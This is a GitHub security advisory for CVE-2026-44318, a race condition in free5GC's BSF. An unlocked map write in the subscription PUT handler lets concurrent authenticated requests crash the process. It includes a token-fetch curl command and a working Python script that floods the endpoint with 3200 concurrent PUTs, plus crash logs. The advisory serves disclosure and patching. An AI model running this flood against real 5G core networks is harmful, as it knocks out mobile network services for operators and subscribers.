Skip to content

free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions

Moderate severity GitHub Reviewed Published May 7, 2026 in free5gc/free5gc • Updated May 8, 2026

Package

gomod github.com/free5gc/bsf (Go)

Affected versions

< 1.0.2

Patched versions

1.0.2

Description

Summary

free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details

Validated against the BSF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/bsf:v4.2.1
  • Docker validation date: 2026-03-22
  • BSF endpoint: http://10.100.200.11:8000

Read side (locked):

func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
    c.mutex.RLock()
    defer c.mutex.RUnlock()

    sub, exists := c.Subscriptions[subId]
    return sub, exists
}

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):

subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf):

  • Read side (locked):
    • NFs/bsf/internal/sbi/processor/subscriptions.go:81
    • NFs/bsf/internal/context/context.go:726
    • NFs/bsf/internal/context/context.go:730
  • Unsafe write side (the create-if-absent branch in PUT, no lock):
    • NFs/bsf/internal/sbi/processor/subscriptions.go:111
    • NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC

Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

  1. Obtain a valid nbsf-management token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
  1. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request

TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
    "events": ["PCF_BINDING_CREATION"],
    "notifUri": "http://127.0.0.1/cb",
    "notifCorreId": "1",
    "supi": "imsi-208930000000003",
}).encode()

def send_put(i, n):
    url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
    req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
    req.add_header("Authorization", f"Bearer {TOKEN}")
    req.add_header("Content-Type", "application/json")
    urllib.request.urlopen(req, timeout=2).read()

threads = []
for i in range(64):
    for n in range(50):
        threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
  1. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
  1. Container state confirms exit code 2:
exited|2|0

Impact

Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can:

  • Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
  • Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: free5gc/free5gc#926
Upstream fix: free5gc/bsf#7

References

@Alonza0314 Alonza0314 published to free5gc/free5gc May 7, 2026
Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Last updated May 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

Missing Synchronization

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource. Learn more on MITRE.

CVE ID

CVE-2026-44318

GHSA ID

GHSA-27ph-8q4f-h7m7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.